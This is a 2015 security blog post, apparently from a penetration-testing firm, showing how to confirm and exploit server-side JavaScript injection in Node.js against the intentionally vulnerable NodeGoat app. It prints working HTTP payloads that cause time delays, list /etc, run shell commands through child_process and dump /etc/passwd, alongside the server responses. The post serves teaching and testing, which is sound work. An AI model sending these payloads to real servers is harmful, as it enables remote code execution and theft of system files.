Wednesday, April 15, 2015 at 11:10AM

Late last year, Burp scanner started testing for Server-Side JavaScript (SSJS) code injection. As you’d expect, this is where an attacker injects JavaScript into a server side parser and results in arbitrary code execution.

Burp Scanner Detecting SSJS Code Injection

Burp uses arguably the best method there is for detecting SSJS code injection: time delays. This is more powerful than other methods (such as echoing content into the response) as it can detect evaluation in fully blind scenarios. Another reason for favouring time delay based detection is that there are a wealth of distinct server-side JavaScript solutions and the generic nature of time delay payloads means that they may be more likely to work across a range of diverse platforms. Conversely, exploitation payloads are more platform specific as typically they tie into API calls for file system access and command execution.

This time based detection approach is, however, subject to false positives, so we need to be able to take a ‘lead’ like a time delay, and verify its veracity by exploiting the vulnerability. For that, we need to develop manual detection and exploitation Server-Side JavaScript payloads.

In this blog post I’ll discuss some example manual detection techniques taken from an article by Felipe Aragon from 2012, and exploitation techniques taken from a paper by Bryan Sullivan from 2011. Finally, I’ll build upon what we’ve learned to finish with a couple of hacked-together, but functional, Server Side JavaScript command ‘shells’.

Note that this blog post focuses upon Node.js; if you find you can demonstrate JavaScript evaluation through time delays, but none of the exploitation techniques shown work, you may be looking at a different SSJS solution.

Combining User Input With Dangerous Functions

For demonstration purposes, we’ll use the highly recommended NodeGoat purposely vulnerable Node.js web application. The NodeGoat Contributions page is vulnerable to SSJS injection; this code snippet shows why:

The cause of the problem: NodeGoat’s contributions.js uses eval() to parse input

The above code snippet taken from app/routes/contributions.js page shows the eval() function is used to parse user input - this is the root cause of the problem. Helpfully, an example solution is also provided in the NodeGoat source code: process user input using an alternative parser - in this case parseInt.

Manual Server Side JavaScript Injection Detection

So. Lets imagine we are on an engagement and have identified a potentially vulnerable SSJS injection vector. What now? Lets simplify and repeat Burp’s time delay test manually in order to verify the results and understand what’s going on. Below is a request that will cause a 10 second time delay if the application is vulnerable:

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 33 preTax=1; var cd; var d=new Date(); do{ cd=new Date(); }while(cd-d<10000)

Note: Newlines were added to attack strings within HTTP Requests for readability

The above payload (taken from an article by Felipe Aragon) declares two variables: cd and d, and stores the current time in d. Then a while loop is entered into that repeatedly obtains the current time until the stored time is ten seconds less than the current time.

If executed, the payload will result in a delay of at least 10 seconds (plus the usual request round trip time). In SQL injection terms, this is more of a waitfor delay() than a benchmark(), in that the time delay is of fixed, attacker-definable duration.

Useful Error Messages and Enumeration of the Response Object Name

Before we move onto exploitation, lets attempt to write output into a response. While this is not a requirement for exploitation, command execution vulnerabilities are much easier to exploit when they are non-blind. Extrapolating from the paper by Bryan Sullivan we can use response.end() to write arbitrary content into the response:

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 38 preTax=1;response.end('testvalue9000')

This fails, returning a 500 error and the following message:

ReferenceError: response is not defined

This is both good and bad. ReferenceError is a great indicator that we are injecting into a Server Side JavaScript parser, but the error indicates that response.end is not the correct response object name. NodeGoat uses the express() API, which follows the convention of referring to the response object as res as opposed to response. However, the Express API documentation goes on to make the point that this convention does not have to be followed, so keep in mind that the response object could be called anything. Lets try calling res.end():

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 33 preTax=1;res.end('testvalue9000') HTTP/1.1 200 OK X-Powered-By: Express Date: Thu, 12 Feb 2015 14:33:56 GMT Connection: keep-alive Content-Length: 13 testvalue9000

Exploiting Server Side JavaScript Injection

Once we have enumerated the response object name and can write content into responses, we can read from, and write to, the file system using the techniques shown in Bryan Sullivan’s paper.

For example, lets grab a directory listing of /etc/:

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 64 preTax=1;res.end(require('fs').readdirSync('/etc').toString()) HTTP/1.1 200 OK X-Powered-By: Express Date: Thu, 12 Feb 2015 14:37:12 GMT Connection: keep-alive Content-Length: 1439 .pwd.lock,X11,adduser.conf,alternatives, apparmor,apparmor.d,apt,bash.bashrc, bash_completion.d,bindresvport.blacklist, blkid.conf,blkid.tab,ca-certificates, ca-certificates.conf,console-setup,cron.d, cron.daily,cron.hourly,cron.m [... and so on ...]

As described in Bryan’s paper, we can ‘require’ new API modules as… well, required. As soon as I saw this I started looking for command execution API calls; sure enough, child_process allows us to make calls to the OS. For example, to blindly execute a command:

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 88 preTax=1; var exec = require('child_process').exec; var out = exec('touch /tmp/q234f'); [email protected]:/tmp$ ls q234f

SSJS Command Execution With Stdout

Blind command execution is all well and good, but there’s nothing quite like the immediacy and convenience of command execution with stdout in the response. The below (dirty hack) pretty much achieves this.

The first time the request is submitted, the shell command is executed, and the output is written to a file. You also may see see an “Error: ENOENT, no such file or directory ‘/tmp/sddfr.txt’” message. The reason for this is the asynchronous nature of Node.js; this, the problems it causes for Node.js command shells, and the solution is very well explained in this blog post by Bert Belder.

The second time the command is submitted, the shell output is read back from the file and written to the response. Of course, the location of the file may cause problems - an alternative approach would be to keep the file within the Node.js application directory (e.g. replace /tmp/sddfr.txt with sddfr.txt in the example below.)

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 256 preTax=1; var fs = require('fs'); var cat = require('child_process').spawn('uname', ['-a']); cat.stdout.on('data', function(data) { fs.writeFile('/tmp/sddfr.txt', data)}); var out = fs.readFileSync('/tmp/sddfr.txt'); res.write(out); res.end() HTTP/1.1 200 OK X-Powered-By: Express Date: Thu, 12 Feb 2015 14:54:56 GMT Connection: keep-alive Content-Length: 104 Linux linux 3.13.0-36-generic #63-Ubuntu SMP Wed Sep 3 21:30:07 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Our dirty hack is all very well, but the aforementioned blog post by Bert Belder heralds the arrival of execSync “a Synchronous API for Child Processes” in Node.js v0.12. This sounds much more elegant - lets give it a try:

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 86 preTax=2; var asd = require('child_process').execSync('cat /etc/passwd'); res.write(asd)

Nope. This fails, returning a 500 error and the following message:

TypeError: Object #<Object> has no method 'execSync'

Wait - what version of Node.js is this?

POST /contributions HTTP/1.1 Host: 192.168.2.159:5000 Cookie: connect.sid=..snip.. Content-Type: application/x-www-form-urlencoded Content-Length: 238 preTax=2; var fs = require('fs'); var cat = require('child_process').spawn('node', ['-v']); cat.stdout.on('data', function(data) { fs.writeFile('/tmp/sddfr.txt', data)}); var out = fs.readFileSync('/tmp/sddfr.txt'); res.write(out); res.end() HTTP/1.1 200 OK X-Powered-By: Express Date: Sun, 22 Feb 2015 08:51:50 GMT Connection: keep-alive Content-Length: 9 v0.10.35

Node.js v.0.10 doesn’t support execSync - good thing we have our dirty hack. We build a new server with Node.js v0.12.0, and try again:

POST /contributions HTTP/1.1 Host: 192.168.2.133:5000 Cookie: connect.sid=..snip.. Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 88 preTax=2; var asd = require('child_process').execSync('cat /etc/passwd'); res.write(asd) HTTP/1.1 200 OK X-Powered-By: Express Date: Tue, 24 Feb 2015 20:40:07 GMT Connection: keep-alive Content-Length: 1966 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin [... and so on ...]

Wrap Up

So there it is. I’ve shown how to advance from automated time based detection of SSJS injection (e.g. a Burp scan) to manual verification via time delays, writing to responses, accessing the server file system and ultimately executing commands. Along the way, I’ve shown two potential barriers (the need to enumerate the correct response object name and the changing nature of the Node.js API) and offered suggestions for overcoming them.